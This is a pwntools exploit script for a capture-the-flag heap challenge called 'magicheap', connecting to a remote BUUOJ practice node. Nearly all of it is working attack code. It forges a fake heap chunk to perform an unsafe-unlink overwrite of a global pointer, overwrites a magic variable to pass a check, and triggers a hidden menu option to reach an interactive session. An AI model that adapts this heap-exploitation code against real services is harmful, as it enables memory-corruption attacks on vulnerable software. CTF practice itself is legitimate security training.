from pwn import *
from LibcSearcher import *

context(os='linux',arch='amd64',log_level='debug')
context.terminal = ["tmux", "splitw", "-h"]
# io  = remote('192.168.95.131',10001)
# io = process("./magicheap")
io = remote('node4.buuoj.cn',25932)

elf = ELF('./magicheap')
pause()

def debug(cmd=""):
    gdb.attach(io)
    pause()

# debug()

def create(heap_size, content):
    print(io.recvuntil(b"Your choice :"))
    io.sendline(b"1")
    print(io.recvuntil(b"Size of Heap :"))
    io.sendline(str(heap_size).encode())
    print(io.recvuntil(b"Content of heap:"))
    io.sendline(content)


def edit(heap_index, size_content, content):
    print(io.recvuntil(b"Your choice :"))
    io.sendline(b"2")
    print(io.recvuntil(b"Index :"))
    io.sendline(str(heap_index).encode())
    print(io.recvuntil(b"Size of Heap :"))
    io.sendline(str(size_content).encode())
    print(io.recvuntil(b"Content of heap :"))
    io.sendline(content)

def edit2(heap_index, size_content, content):
    print(io.recvuntil(b"Your choice :"))
    io.sendline(b"2")
    print(io.recvuntil(b"Index :"))
    io.sendline(str(heap_index).encode())
    print(io.recvuntil(b"Size of Heap :"))
    io.sendline(str(size_content).encode())
    print(io.recvuntil(b"Content of heap :"))
    io.send(content)


def delete(heap_index):
    print(io.recvuntil(b"Your choice :"))
    io.sendline(b"3")
    print(io.recvuntil(b"Index :"))
    io.sendline(str(heap_index).encode())

create(0x90, "AAAA")
pause()
create(0x90, "BBBB")
pause()
create(0x10, "BBBB")

fisrt_chunk_addr = 0x00000000006020C0


fake_chunke = flat(0x0, 0x91, fisrt_chunk_addr - 0x18, fisrt_chunk_addr - 0x10)
print("leave length = " , 144-len(fake_chunke))
fake_chunke = fake_chunke.ljust(144, b"A")
print("total length = ", len(fake_chunke))
fake_chunke += flat(0x90, 0xa0)
pause()
edit(0, 0x80 + 0x20, fake_chunke)

pause()

delete(1)

pause()
edit(0, 0x25, flat(b"A"*0x18, 0x6020A0))
pause()

pause()

edit2(0, 0x18, p32(0x1306)) # > 0x1305
pause()
print(io.recvuntil(b"Your choice :"))

io.sendline(b"4869")


pause()

io.interactive()